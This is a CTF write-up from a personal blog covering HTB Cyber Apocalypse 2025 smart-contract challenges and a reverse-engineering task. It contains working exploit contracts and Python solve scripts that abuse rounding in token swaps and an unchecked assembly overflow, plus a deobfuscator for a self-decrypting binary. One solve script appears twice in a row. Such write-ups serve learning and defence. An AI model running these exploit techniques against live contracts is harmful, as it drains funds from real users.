fyr3p4w Blog
  • Introduction
  • Other Activities
    • Global Cybersecurity Camp (GCC) Taiwan 2025
  • CTFs
    • ASEAN Cyber Shield 2024
    • Wargames MY 2024
    • HTB Cyber Apocalypse 2024
    • FSIIECTF 2024
    • HTB CyberApocalypse 2025
    • TsukuCTF 2025 - Easy Kernel
  • Browser Exploitation Notes
Powered by GitBook
On this page
  • Blockchain/Eldorion
  • Blockchain/HeliosDEX
  • Blockchain/Eldoria Gate
  • Rev/Single Step
  • Rev/Heart Protector
  • Rev/Gateway
  1. CTFs

HTB CyberApocalypse 2025

This writeup consists of challenges I solved and did not solve but looked back on to learn more

Blockchain/Eldorion

Setup.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

import { Eldorion } from "./Eldorion.sol";

contract Setup {
    Eldorion public immutable TARGET;
    
    event DeployedTarget(address at);

    constructor() payable {
        TARGET = new Eldorion();
        emit DeployedTarget(address(TARGET));
    }

    function isSolved() public view returns (bool) {
        return TARGET.isDefeated();
    }
}
Eldorion.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

contract Eldorion {
    uint256 public health = 300;
    uint256 public lastAttackTimestamp;
    uint256 private constant MAX_HEALTH = 300;
    
    event EldorionDefeated(address slayer);
    
    modifier eternalResilience() {
        if (block.timestamp > lastAttackTimestamp) {
            health = MAX_HEALTH;
            lastAttackTimestamp = block.timestamp;
        }
        _;
    }
    
    function attack(uint256 damage) external eternalResilience {
        require(damage <= 100, "Mortals cannot strike harder than 100");
        require(health >= damage, "Overkill is wasteful");
        health -= damage;
        
        if (health == 0) {
            emit EldorionDefeated(msg.sender);
        }
    }

    function isDefeated() external view returns (bool) {
        return health == 0;
    }
}

From the setup contract, we can see that the challenge is solved once the target is defeated. However, there is a modifier in the attack function in the eldorion contract. This modifier checks the block timestamp and if the current timestamp is greater than the previous one, the HP will be restored to full. This means we cannot simply call attack() 3 times as we are an Externally Owned Account (EOA) because each attack() is in a different transaction and the timestamp will not match. The only way to solve this is by writing you own smart contract and calling the attack() 3 times as contracts can execute the 3 functions in 1 transaction.

Solve.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

import "forge-std/Script.sol";
import "../src/Eldorion.sol";

contract Exploit {
    function win(address _target) public {
        Eldorion eldorion = Eldorion(_target);
        eldorion.attack(100);
        eldorion.attack(100);
        eldorion.attack(100);
}
}

Then, deploy the smart contract with

forge create src/Exploit.sol:Exploit --rpc-url $RPC --private-key $PVK

Blockchain/HeliosDEX

Setup.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.28;

import { HeliosDEX } from "./HeliosDEX.sol";

contract Setup {
    HeliosDEX public TARGET;
    address public player;
    
    event DeployedTarget(address at);

    constructor(address _player) payable {
        TARGET = new HeliosDEX{value: 1000 ether}(1000);
        player = _player;
        emit DeployedTarget(address(TARGET));
    }

    function isSolved() public view returns (bool) {
        return player.balance >= 20 ether;
    }
}
HeliosDEX.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.28;

/***
    __  __     ___            ____  _______  __
   / / / /__  / (_)___  _____/ __ \/ ____/ |/ /
  / /_/ / _ \/ / / __ \/ ___/ / / / __/  |   / 
 / __  /  __/ / / /_/ (__  ) /_/ / /___ /   |  
/_/ /_/\___/_/_/\____/____/_____/_____//_/|_|  
                                               
    Today's item listing:
    * Eldorion Fang (ELD): A shard of a Eldorion's fang, said to imbue the holder with courage and the strength of the ancient beast. A symbol of valor in battle.
    * Malakar Essence (MAL): A dark, viscous substance, pulsing with the corrupted power of Malakar. Use with extreme caution, as it whispers promises of forbidden strength. MAY CAUSE HALLUCINATIONS.
    * Helios Lumina Shards (HLS): Fragments of pure, solidified light, radiating the warmth and energy of Helios. These shards are key to powering Eldoria's invisible eye.
***/

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";

contract EldorionFang is ERC20 {
    constructor(uint256 initialSupply) ERC20("EldorionFang", "ELD") {
        _mint(msg.sender, initialSupply);
    }
}

contract MalakarEssence is ERC20 {
    constructor(uint256 initialSupply) ERC20("MalakarEssence", "MAL") {
        _mint(msg.sender, initialSupply);
    }
}

contract HeliosLuminaShards is ERC20 {
    constructor(uint256 initialSupply) ERC20("HeliosLuminaShards", "HLS") {
        _mint(msg.sender, initialSupply);
    }
}

contract HeliosDEX {
    EldorionFang public eldorionFang;
    MalakarEssence public malakarEssence;
    HeliosLuminaShards public heliosLuminaShards;

    uint256 public reserveELD;
    uint256 public reserveMAL;
    uint256 public reserveHLS;
    
    uint256 public immutable exchangeRatioELD = 2;
    uint256 public immutable exchangeRatioMAL = 4;
    uint256 public immutable exchangeRatioHLS = 10;

    uint256 public immutable feeBps = 25;

    mapping(address => bool) public hasRefunded;

    bool public _tradeLock = false;
    
    event HeliosBarter(address item, uint256 inAmount, uint256 outAmount);
    event HeliosRefund(address item, uint256 inAmount, uint256 ethOut);

    constructor(uint256 initialSupplies) payable {
        eldorionFang = new EldorionFang(initialSupplies);
        malakarEssence = new MalakarEssence(initialSupplies);
        heliosLuminaShards = new HeliosLuminaShards(initialSupplies);
        reserveELD = initialSupplies;
        reserveMAL = initialSupplies;
        reserveHLS = initialSupplies;
    }

    modifier underHeliosEye {
        require(msg.value > 0, "HeliosDEX: Helios sees your empty hand! Only true offerings are worthy of a HeliosBarter");
        _;
    }

    modifier heliosGuardedTrade() {
        require(_tradeLock != true, "HeliosDEX: Helios shields this trade! Another transaction is already underway. Patience, traveler");
        _tradeLock = true;
        _;
        _tradeLock = false;
    }

    function swapForELD() external payable underHeliosEye {
        uint256 grossELD = Math.mulDiv(msg.value, exchangeRatioELD, 1e18, Math.Rounding(0));
        uint256 fee = (grossELD * feeBps) / 10_000;
        uint256 netELD = grossELD - fee;

        require(netELD <= reserveELD, "HeliosDEX: Helios grieves that the ELD reserves are not plentiful enough for this exchange. A smaller offering would be most welcome");

        reserveELD -= netELD;
        eldorionFang.transfer(msg.sender, netELD);

        emit HeliosBarter(address(eldorionFang), msg.value, netELD);
    }

    function swapForMAL() external payable underHeliosEye {
        uint256 grossMal = Math.mulDiv(msg.value, exchangeRatioMAL, 1e18, Math.Rounding(1));
        uint256 fee = (grossMal * feeBps) / 10_000;
        uint256 netMal = grossMal - fee;

        require(netMal <= reserveMAL, "HeliosDEX: Helios grieves that the MAL reserves are not plentiful enough for this exchange. A smaller offering would be most welcome");

        reserveMAL -= netMal;
        malakarEssence.transfer(msg.sender, netMal);

        emit HeliosBarter(address(malakarEssence), msg.value, netMal);
    }

    function swapForHLS() external payable underHeliosEye {
        uint256 grossHLS = Math.mulDiv(msg.value, exchangeRatioHLS, 1e18, Math.Rounding(3));
        uint256 fee = (grossHLS * feeBps) / 10_000;
        uint256 netHLS = grossHLS - fee;
        
        require(netHLS <= reserveHLS, "HeliosDEX: Helios grieves that the HSL reserves are not plentiful enough for this exchange. A smaller offering would be most welcome");
        

        reserveHLS -= netHLS;
        heliosLuminaShards.transfer(msg.sender, netHLS);

        emit HeliosBarter(address(heliosLuminaShards), msg.value, netHLS);
    }

    function oneTimeRefund(address item, uint256 amount) external heliosGuardedTrade {
        require(!hasRefunded[msg.sender], "HeliosDEX: refund already bestowed upon thee");
        require(amount > 0, "HeliosDEX: naught for naught is no trade. Offer substance, or be gone!");

        uint256 exchangeRatio;
        
        if (item == address(eldorionFang)) {
            exchangeRatio = exchangeRatioELD;
            require(eldorionFang.transferFrom(msg.sender, address(this), amount), "ELD transfer failed");
            reserveELD += amount;
        } else if (item == address(malakarEssence)) {
            exchangeRatio = exchangeRatioMAL;
            require(malakarEssence.transferFrom(msg.sender, address(this), amount), "MAL transfer failed");
            reserveMAL += amount;
        } else if (item == address(heliosLuminaShards)) {
            exchangeRatio = exchangeRatioHLS;
            require(heliosLuminaShards.transferFrom(msg.sender, address(this), amount), "HLS transfer failed");
            reserveHLS += amount;
        } else {
            revert("HeliosDEX: Helios descries forbidden offering");
        }

        uint256 grossEth = Math.mulDiv(amount, 1e18, exchangeRatio);

        uint256 fee = (grossEth * feeBps) / 10_000;
        uint256 netEth = grossEth - fee;

        hasRefunded[msg.sender] = true;
        payable(msg.sender).transfer(netEth);
        
        emit HeliosRefund(item, amount, netEth);
    }
}

This Solidity contract, HeliosDEX, is a decentralized exchange (DEX) for three custom ERC-20 tokens:

  • Eldorion Fang (ELD)

  • Malakar Essence (MAL)

  • Helios Lumina Shards (HLS)

The DEX maintains reserves of each token and has exchange ratios:

  • ELD: 2 ELD per 1 ETH

  • MAL: 4 MAL per 1 ETH

  • HLS: 10 HLS per 1 ETH

Users can swap 1 wei for a token and get a one time refund aswell.

Vulnerability

    function swapForMAL() external payable underHeliosEye {
        uint256 grossMal = Math.mulDiv(msg.value, exchangeRatioMAL, 1e18, Math.Rounding(1));

    function swapForHLS() external payable underHeliosEye {
        uint256 grossHLS = Math.mulDiv(msg.value, exchangeRatioHLS, 1e18, Math.Rounding(3));

These 2 token use Math Rounding modes which does

In OpenZeppelin’s Math library, rounding modes are:

0 → Round down (towards zero).

1 → Round up (away from zero).

2 → Round to nearest integer.

3 → Bankers' rounding (round to the nearest even number).

Means you can just give 1 wei and you will be rounded up to 1 token

OfficialSolve.py
#!/usr/bin/env python3

# Official solve from HTB
import subprocess
from web3 import Web3
from eth_account import Account
from pwn import remote, context, args

context.log_level = "DEBUG"

IP = "94.237.61.48"
RPC_PORT = 49237
TCP_PORT = 48599 
RPC_URL = f"http://94.237.61.48:49237"
HANDLER_URL = (IP, TCP_PORT)

def csend(contract: str, fn: str, *args, **options):
    base_command = f"cast send {contract} '{fn}' {' '.join(args)}"
    options_str = ' '.join([f"--{key.replace('_', '-')}" + (f" {value}" if value else "") for key, value in options.items()])
    command = f"{base_command} {options_str} --rpc-url {RPC_URL} --private-key {player_pvk}"
    print(f"[*] {command}")
    result = subprocess.run(command, shell=True, text=True, capture_output=True)
    if result.returncode == 0:
        print(f"[+] Output:\n{result.stdout}")
    else:
        print(f"[!] Error:\n{result.stderr}")
        exit(1)
    return result.stdout

def ccall(contract: str, fn: str, *args, **options):
    base_command = f"cast call {contract} '{fn}' {' '.join(args)}"
    options_str = ' '.join([f"--{key.replace('_', '-')}" + (f" {value}" if value else "") for key, value in options.items()])
    command = f"{base_command} {options_str} --rpc-url {RPC_URL} --private-key {player_pvk}"
    print(f"[*] {command}")
    result = subprocess.run(command, shell=True, text=True, capture_output=True)
    if result.returncode == 0:
        print(f"[+] Output:\n{result.stdout}")
    else:
        print(f"[!] Error:\n{result.stderr}")
        exit(1)
    return result.stdout


if __name__ == "__main__":
    connection_info = {}
    handler_host, handler_port = HANDLER_URL
    
    ### connect to challenge handler and get connection info ##
    with remote(handler_host, handler_port) as p:
        p.sendlineafter(b": ", b"1")
        data = p.recvall()

    lines = data.decode().split('\n')
    for line in lines:
        if line.startswith("[*]"):
            continue
        if line:
            key, value = line.split(': ')
            key = key.strip()
            value = value.strip()
            connection_info[key] = value

    player_pvk = connection_info['Player Private Key']
    setup_addr = connection_info['Setup contract']
    target_addr = connection_info['Target contract']
    player_account = Account.from_key(player_pvk)
    print(f"[+] Player Address: {player_account.address}")
    print(f"[+] Setup Contract Address: {setup_addr}")
    print(f"[+] Target Contract Address: {target_addr}")
    
    ### exploitation ###
    w3 = Web3(Web3.HTTPProvider(RPC_URL))
    assert w3.is_connected(), "Failed to connect to RPC"
    print(f"[*] Connected to RPC {RPC_URL}")

    hls_token = ccall(target_addr, "heliosLuminaShards()(address)").strip()
    print(f"[+] HLS Token Address: {hls_token}")

    # approve DEX to spend player's HLS tokens
    csend(hls_token, "approve(address,uint256)", target_addr, "0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff")

    n_trades = 0
    prev_hsl_balance = 0
    exchange_ratio_hsl = 10
    trade_cost = 10**17 + 1
    while True:
        n_trades += 1
        print(f"\n\n[+] Trade #{n_trades}")

        # trigger rounding up to ceil with just 1 wei
        csend(target_addr, "swapForHLS()", value=str(trade_cost))
        
        # get current HLS balance
        hls_balance = int(ccall(hls_token, "balanceOf(address)(uint256)", player_account.address))
        print(f"[+] current HLS balance: {hls_balance}")

        eth_gain = ((hls_balance - prev_hsl_balance) * (10**18 / exchange_ratio_hsl)) - trade_cost
        total_eth_gain = (hls_balance * (10**18 / exchange_ratio_hsl)) - (trade_cost) * n_trades
        print(f"[+] ETH gain from the trade: {eth_gain}")
        print(f"[+] total projected ETH gain: {total_eth_gain}")
        assert hls_balance > prev_hsl_balance
        assert eth_gain > 0
        prev_hsl_balance = hls_balance

        if total_eth_gain >= 10e18:
            break

    # finalize eth gain
    csend(target_addr, "oneTimeRefund(address,uint256)", hls_token, str(hls_balance))
    
    hls_balance = int(ccall(hls_token, "balanceOf(address)(uint256)", player_account.address))
    print(f"[+] current HLS balance: {hls_balance}")

    eth_balance = w3.eth.get_balance(player_account.address)
    print(f"[+] current ETH balance: {eth_balance}")

    is_solved = ccall(setup_addr, "isSolved()(bool)").strip()
    assert is_solved == "true", "Exploit failed"

    ### get flag ###
    with remote(handler_host, handler_port) as p:
        p.sendlineafter(b": ", b"3")
        flag = p.recvall().decode()
    if "HTB" in flag:
        print(f"\n\n[*] {flag}")#!/usr/bin/env python3

import subprocess
from web3 import Web3
from eth_account import Account
from pwn import remote, context, args

context.log_level = "DEBUG"

IP = "94.237.61.48"
RPC_PORT = 49237
TCP_PORT = 48599 
RPC_URL = f"http://94.237.61.48:49237"
HANDLER_URL = (IP, TCP_PORT)

def csend(contract: str, fn: str, *args, **options):
    base_command = f"cast send {contract} '{fn}' {' '.join(args)}"
    options_str = ' '.join([f"--{key.replace('_', '-')}" + (f" {value}" if value else "") for key, value in options.items()])
    command = f"{base_command} {options_str} --rpc-url {RPC_URL} --private-key {player_pvk}"
    print(f"[*] {command}")
    result = subprocess.run(command, shell=True, text=True, capture_output=True)
    if result.returncode == 0:
        print(f"[+] Output:\n{result.stdout}")
    else:
        print(f"[!] Error:\n{result.stderr}")
        exit(1)
    return result.stdout

def ccall(contract: str, fn: str, *args, **options):
    base_command = f"cast call {contract} '{fn}' {' '.join(args)}"
    options_str = ' '.join([f"--{key.replace('_', '-')}" + (f" {value}" if value else "") for key, value in options.items()])
    command = f"{base_command} {options_str} --rpc-url {RPC_URL} --private-key {player_pvk}"
    print(f"[*] {command}")
    result = subprocess.run(command, shell=True, text=True, capture_output=True)
    if result.returncode == 0:
        print(f"[+] Output:\n{result.stdout}")
    else:
        print(f"[!] Error:\n{result.stderr}")
        exit(1)
    return result.stdout


if __name__ == "__main__":
    connection_info = {}
    handler_host, handler_port = HANDLER_URL
    
    ### connect to challenge handler and get connection info ##
    with remote(handler_host, handler_port) as p:
        p.sendlineafter(b": ", b"1")
        data = p.recvall()

    lines = data.decode().split('\n')
    for line in lines:
        if line.startswith("[*]"):
            continue
        if line:
            key, value = line.split(': ')
            key = key.strip()
            value = value.strip()
            connection_info[key] = value

    player_pvk = connection_info['Player Private Key']
    setup_addr = connection_info['Setup contract']
    target_addr = connection_info['Target contract']
    player_account = Account.from_key(player_pvk)
    print(f"[+] Player Address: {player_account.address}")
    print(f"[+] Setup Contract Address: {setup_addr}")
    print(f"[+] Target Contract Address: {target_addr}")
    
    ### exploitation ###
    w3 = Web3(Web3.HTTPProvider(RPC_URL))
    assert w3.is_connected(), "Failed to connect to RPC"
    print(f"[*] Connected to RPC {RPC_URL}")

    hls_token = ccall(target_addr, "heliosLuminaShards()(address)").strip()
    print(f"[+] HLS Token Address: {hls_token}")

    # approve DEX to spend player's HLS tokens
    csend(hls_token, "approve(address,uint256)", target_addr, "0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff")

    n_trades = 0
    prev_hsl_balance = 0
    exchange_ratio_hsl = 10
    trade_cost = 10**17 + 1
    while True:
        n_trades += 1
        print(f"\n\n[+] Trade #{n_trades}")

        # trigger rounding up to ceil with just 1 wei
        csend(target_addr, "swapForHLS()", value=str(trade_cost))
        
        # get current HLS balance
        hls_balance = int(ccall(hls_token, "balanceOf(address)(uint256)", player_account.address))
        print(f"[+] current HLS balance: {hls_balance}")

        eth_gain = ((hls_balance - prev_hsl_balance) * (10**18 / exchange_ratio_hsl)) - trade_cost
        total_eth_gain = (hls_balance * (10**18 / exchange_ratio_hsl)) - (trade_cost) * n_trades
        print(f"[+] ETH gain from the trade: {eth_gain}")
        print(f"[+] total projected ETH gain: {total_eth_gain}")
        assert hls_balance > prev_hsl_balance
        assert eth_gain > 0
        prev_hsl_balance = hls_balance

        if total_eth_gain >= 10e18:
            break

    # finalize eth gain
    csend(target_addr, "oneTimeRefund(address,uint256)", hls_token, str(hls_balance))
    
    hls_balance = int(ccall(hls_token, "balanceOf(address)(uint256)", player_account.address))
    print(f"[+] current HLS balance: {hls_balance}")

    eth_balance = w3.eth.get_balance(player_account.address)
    print(f"[+] current ETH balance: {eth_balance}")

    is_solved = ccall(setup_addr, "isSolved()(bool)").strip()
    assert is_solved == "true", "Exploit failed"

    ### get flag ###
    with remote(handler_host, handler_port) as p:
        p.sendlineafter(b": ", b"3")
        flag = p.recvall().decode()
    if "HTB" in flag:
        print(f"\n\n[*] {flag}")

Blockchain/Eldoria Gate

Setup.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.28;

import { EldoriaGate } from "./EldoriaGate.sol";

contract Setup {
    EldoriaGate public TARGET;
    address public player;

    event DeployedTarget(address at);

    constructor(bytes4 _secret, address _player) {
        TARGET = new EldoriaGate(_secret);
        player = _player;
        emit DeployedTarget(address(TARGET));
    }

    function isSolved() public returns (bool) {
        return TARGET.checkUsurper(player);
    }
}
EldoraGate.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.28;

/***
    Malakar 1b:22-28, Tales from Eldoria - Eldoria Gates
  
    "In ages past, where Eldoria's glory shone,
     Ancient gates stand, where shadows turn to dust.
     Only the proven, with deeds and might,
     May join Eldoria's hallowed, guiding light.
     Through strict trials, and offerings made,
     Eldoria's glory, is thus displayed."
  
                   ELDORIA GATES
             *_   _   _   _   _   _ *
     ^       | `_' `-' `_' `-' `_' `|       ^
     |       |                      |       |
     |  (*)  |     .___________     |  \^/  |
     | _<#>_ |    //           \    | _(#)_ |
    o+o \ / \0    ||   =====   ||   0/ \ / (=)
     0'\ ^ /\/    ||           ||   \/\ ^ /`0
       /_^_\ |    ||    ---    ||   | /_^_\
       || || |    ||           ||   | || ||
       d|_|b_T____||___________||___T_d|_|b
  
***/

import { EldoriaGateKernel } from "./EldoriaGateKernel.sol";

contract EldoriaGate {
    EldoriaGateKernel public kernel;

    event VillagerEntered(address villager, uint id, bool authenticated, string[] roles);
    event UsurperDetected(address villager, uint id, string alertMessage);
    
    struct Villager {
        uint id;
        bool authenticated;
        uint8 roles;
    }

    constructor(bytes4 _secret) {
        kernel = new EldoriaGateKernel(_secret);
    }

    function enter(bytes4 passphrase) external payable {
        bool isAuthenticated = kernel.authenticate(msg.sender, passphrase);
        require(isAuthenticated, "Authentication failed");

        uint8 contribution = uint8(msg.value);        
        (uint villagerId, uint8 assignedRolesBitMask) = kernel.evaluateIdentity(msg.sender, contribution);
        string[] memory roles = getVillagerRoles(msg.sender);
        
        emit VillagerEntered(msg.sender, villagerId, isAuthenticated, roles);
    }

    function getVillagerRoles(address _villager) public view returns (string[] memory) {
        string[8] memory roleNames = [
            "SERF", 
            "PEASANT", 
            "ARTISAN", 
            "MERCHANT", 
            "KNIGHT", 
            "BARON", 
            "EARL", 
            "DUKE"
        ];

        (, , uint8 rolesBitMask) = kernel.villagers(_villager);

        uint8 count = 0;
        for (uint8 i = 0; i < 8; i++) {
            if ((rolesBitMask & (1 << i)) != 0) {
                count++;
            }
        }

        string[] memory foundRoles = new string[](count);
        uint8 index = 0;
        for (uint8 i = 0; i < 8; i++) {
            uint8 roleBit = uint8(1) << i; 
            if (kernel.hasRole(_villager, roleBit)) {
                foundRoles[index] = roleNames[i];
                index++;
            }
        }

        return foundRoles;
    }

    function checkUsurper(address _villager) external returns (bool) {
        (uint id, bool authenticated , uint8 rolesBitMask) = kernel.villagers(_villager);
        bool isUsurper = authenticated && (rolesBitMask == 0);
        emit UsurperDetected(
            _villager,
            id,
            "Intrusion to benefit from Eldoria, without society responsibilities, without suspicions, via gate breach."
        );
        return isUsurper;
    }
}
EldoraGateKernel.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.28;

contract EldoriaGateKernel {
    bytes4 private eldoriaSecret;
    mapping(address => Villager) public villagers;
    address public frontend;

    uint8 public constant ROLE_SERF     = 1 << 0;
    uint8 public constant ROLE_PEASANT  = 1 << 1;
    uint8 public constant ROLE_ARTISAN  = 1 << 2;
    uint8 public constant ROLE_MERCHANT = 1 << 3;
    uint8 public constant ROLE_KNIGHT   = 1 << 4;
    uint8 public constant ROLE_BARON    = 1 << 5;
    uint8 public constant ROLE_EARL     = 1 << 6;
    uint8 public constant ROLE_DUKE     = 1 << 7;
    
    struct Villager {
        uint id;
        bool authenticated;
        uint8 roles;
    }

    constructor(bytes4 _secret) {
        eldoriaSecret = _secret;
        frontend = msg.sender;
    }

    modifier onlyFrontend() {
        assembly {
            if iszero(eq(caller(), sload(frontend.slot))) {
                revert(0, 0)
            }
        }
        _;
    }

    function authenticate(address _unknown, bytes4 _passphrase) external onlyFrontend returns (bool auth) {
        assembly {
            let secret := sload(eldoriaSecret.slot)            
            auth := eq(shr(224, _passphrase), secret)
            mstore(0x80, auth)
            
            mstore(0x00, _unknown)
            mstore(0x20, villagers.slot)
            let villagerSlot := keccak256(0x00, 0x40)
            
            let packed := sload(add(villagerSlot, 1))
            auth := mload(0x80)
            let newPacked := or(and(packed, not(0xff)), auth)
            sstore(add(villagerSlot, 1), newPacked)
        }
    }

    function evaluateIdentity(address _unknown, uint8 _contribution) external onlyFrontend returns (uint id, uint8 roles) {
        assembly {
            mstore(0x00, _unknown)
            mstore(0x20, villagers.slot)
            let villagerSlot := keccak256(0x00, 0x40)

            mstore(0x00, _unknown)
            id := keccak256(0x00, 0x20)
            sstore(villagerSlot, id)

            let storedPacked := sload(add(villagerSlot, 1))
            let storedAuth := and(storedPacked, 0xff)
            if iszero(storedAuth) { revert(0, 0) }

            let defaultRolesMask := ROLE_SERF
            roles := add(defaultRolesMask, _contribution)
            if lt(roles, defaultRolesMask) { revert(0, 0) }

            let packed := or(storedAuth, shl(8, roles))
            sstore(add(villagerSlot, 1), packed)
        }
    }

    function hasRole(address _villager, uint8 _role) external view returns (bool hasRoleFlag) {
        assembly {
            mstore(0x0, _villager)
            mstore(0x20, villagers.slot)
            let villagerSlot := keccak256(0x0, 0x40)
        
            let packed := sload(add(villagerSlot, 1))
            let roles := and(shr(8, packed), 0xff)
            hasRoleFlag := gt(and(roles, _role), 0)
        }
    }
}

Analysis

    function checkUsurper(address _villager) external returns (bool) {
        (uint id, bool authenticated , uint8 rolesBitMask) = kernel.villagers(_villager);
        bool isUsurper = authenticated && (rolesBitMask == 0);
        emit UsurperDetected(
            _villager,
            id,
            "Intrusion to benefit from Eldoria, without society responsibilities, without suspicions, via gate breach."
        );
        return isUsurper;
    }
}

From the code above, our goal will be to successfully authenticate but not be assigned any roles (bit mask 0).

Vulnerability

    function enter(bytes4 passphrase) external payable {
        bool isAuthenticated = kernel.authenticate(msg.sender, passphrase);
        require(isAuthenticated, "Authentication failed");

        uint8 contribution = uint8(msg.value);        
        (uint villagerId, uint8 assignedRolesBitMask) = kernel.evaluateIdentity(msg.sender, contribution);
        string[] memory roles = getVillagerRoles(msg.sender);
        
        emit VillagerEntered(msg.sender, villagerId, isAuthenticated, roles);
    }
    
    function evaluateIdentity(address _unknown, uint8 _contribution) external onlyFrontend returns (uint id, uint8 roles) {
        assembly {
            mstore(0x00, _unknown)
            mstore(0x20, villagers.slot)
            let villagerSlot := keccak256(0x00, 0x40)

            mstore(0x00, _unknown)
            id := keccak256(0x00, 0x20)
            sstore(villagerSlot, id)

            let storedPacked := sload(add(villagerSlot, 1))
            let storedAuth := and(storedPacked, 0xff)
            if iszero(storedAuth) { revert(0, 0) }

            let defaultRolesMask := ROLE_SERF
            roles := add(defaultRolesMask, _contribution)
            if lt(roles, defaultRolesMask) { revert(0, 0) }

            let packed := or(storedAuth, shl(8, roles))
            sstore(add(villagerSlot, 1), packed)
        }
    }

The vulnerability lies in the way the identity is evaluated. The enter() function takes msg.value and casts it to a uint8 value.

let defaultRolesMask := ROLE_SERF
roles := add(defaultRolesMask, _contribution)

But the line above is vulnerable to integer overflow because we can donate 255 ethereum and cause it to overflow in the add() because the default role value is 1 and 255 + 1 = will overflow back to 0. Integer overflow and underflow protection was introduced by default starting with Solidity version 0.8.0. However, we can see the evaluateIdentity() uses low level yul assembly to do arithmetic. In assembly, there is no concept of data types and all values are treated as 32 byte values.

OfficialSolve.py
#!/usr/bin/env python3

# Official solve from HTB
import subprocess
from web3 import Web3
from eth_account import Account
from pwn import remote, context, args

context.log_level = "DEBUG"

if args.REMOTE:
    IP = args.HOST
    RPC_PORT = int(args.RPC_PORT)
    TCP_PORT = int(args.HANDLER_PORT)
    RPC_URL = f"http://{IP}:{RPC_PORT}/"
    HANDLER_URL = (IP, TCP_PORT)
else:
    RPC_URL = "http://localhost:8888/"
    HANDLER_URL = ("localhost", 8000)

def csend(contract: str, fn: str, *args, **options):
    base_command = f"cast send {contract} '{fn}' {' '.join(args)}"
    options_str = ' '.join([f"--{key.replace('_', '-')}" + (f" {value}" if value else "") for key, value in options.items()])
    command = f"{base_command} {options_str} --rpc-url {RPC_URL} --private-key {player_pvk}"
    print(f"[*] {command}")
    result = subprocess.run(command, shell=True, text=True, capture_output=True)
    if result.returncode == 0:
        print(f"[+] Output:\n{result.stdout}")
    else:
        print(f"[!] Error:\n{result.stderr}")
        exit(1)
    return result.stdout

def ccall(contract: str, fn: str, *args, **options):
    base_command = f"cast call {contract} '{fn}' {' '.join(args)}"
    options_str = ' '.join([f"--{key.replace('_', '-')}" + (f" {value}" if value else "") for key, value in options.items()])
    command = f"{base_command} {options_str} --rpc-url {RPC_URL} --private-key {player_pvk}"
    print(f"[*] {command}")
    result = subprocess.run(command, shell=True, text=True, capture_output=True)
    if result.returncode == 0:
        print(f"[+] Output:\n{result.stdout}")
    else:
        print(f"[!] Error:\n{result.stderr}")
        exit(1)
    return result.stdout


if __name__ == "__main__":
    connection_info = {}
    handler_host, handler_port = HANDLER_URL
    
    ### connect to challenge handler and get connection info ##
    with remote(handler_host, handler_port) as p:
        p.sendlineafter(b": ", b"1")
        data = p.recvall()

    lines = data.decode().split('\n')
    for line in lines:
        if line.startswith("[*]"):
            continue
        if line:
            key, value = line.split(': ')
            key = key.strip()
            value = value.strip()
            connection_info[key] = value

    player_pvk = connection_info['Player Private Key']
    setup_addr = connection_info['Setup contract']
    target_addr = connection_info['Target contract']
    player_account = Account.from_key(player_pvk)
    print(f"[+] Player Address: {player_account.address}")
    print(f"[+] Setup Contract Address: {setup_addr}")
    print(f"[+] Target Contract Address: {target_addr}")
    
    ### exploitation ###
    w3 = Web3(Web3.HTTPProvider(RPC_URL))
    assert w3.is_connected(), "Failed to connect to RPC"
    print(f"[*] Connected to RPC {RPC_URL}")

    csend(target_addr, "enter(bytes4)", "0xdeadfade", value=255)
    assert ccall(setup_addr, "isSolved()(bool)").strip() == "true"

    # get flag
    with remote(handler_host, handler_port) as p:
        p.sendlineafter(b": ", b"3")
        flag = p.recvall().decode()
    if "HTB" in flag:
        print(f"\n\n[*] {flag}")

Rev/Single Step

Opening in Ghidra we can see the main function only calls one function

The disassembly does not show anything meaningful. Hence, we will analyse this in gdb.

Now that we reach the breakpoint, we will step 1 by 1 and examine the behaviour of the file.

After the XOR instruction at RIP + 0x1, we can see that valid instructions have appeared. Which means, the binary is doing some metamorphic behaviour which decrypts itself dynamically during runtime. Each valid instruction is put in between a series of decryption instructions.

pushf
xor
<INST>
popf

Going further down, we can see the program re encrypts itself by using RIP+(-15) due to two's complement. Hence, we will need to deobfuscate it by writing our own script

Deobfuscator.py
# From the official HTB writeup
from pwn import *
import capstone
import sys
import ctypes

def xor(a, b):
    return bytes([a ^ b for a, b in zip(a, b)])

def disas_single(data):
    disas = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_64)
    inst = next(disas.disasm(data, 0))
    return inst, inst.size, inst.mnemonic

def deobufscate(elf, code, text_off, text_end, addr, modified):
    stop = False
    while not stop:
        inst, sz, mneumonic = disas_single(code[addr:])
        if mneumonic == 'ret':
            stop = True
        elif mneumonic == 'call':
            call_dst = addr + ctypes.c_int64(int(inst.op_str, 16)).value
            if call_dst >= text_off and call_dst <= text_end:
                deobufscate(elf, code, text_off, text_end, call_dst, modified)
        elif mneumonic == 'xor':
            if '[rip + ' in inst.op_str:
                rip_rel = int(inst.op_str.split('[rip + ')[1].split(']')[0], 16)
                key = int(inst.op_str.split(',')[1], 16)
                decrypt = b''
                if inst.op_str.startswith('qword ptr '):
                    decrypt = xor(p64(key), code[addr + sz + rip_rel: addr + sz + rip_rel + 8])
                elif inst.op_str.startswith('dword ptr '):
                    decrypt = xor(p32(key), code[addr + sz + rip_rel: addr + sz + rip_rel + 4])
                elif inst.op_str.startswith('word ptr '):
                    decrypt = xor(p16(key), code[addr + sz + rip_rel: addr + sz + rip_rel + 2])
                elif inst.op_str.startswith('byte ptr '):
                    decrypt = xor(p8(key), code[addr + sz + rip_rel: addr + sz + rip_rel + 1])
                assert(len(decrypt) in [1, 2, 4, 8])
                for i, b in enumerate(decrypt):
                    modified[addr + sz + rip_rel + i] = b
                for i in range(addr, addr + sz):
                    modified[i] = 0x90
                if code[addr - 0x1] == 0x9c:
                    modified[addr - 0x1] = 0x90
                if code[addr + sz] == 0x9d:
                    modified[addr + sz] = 0x90
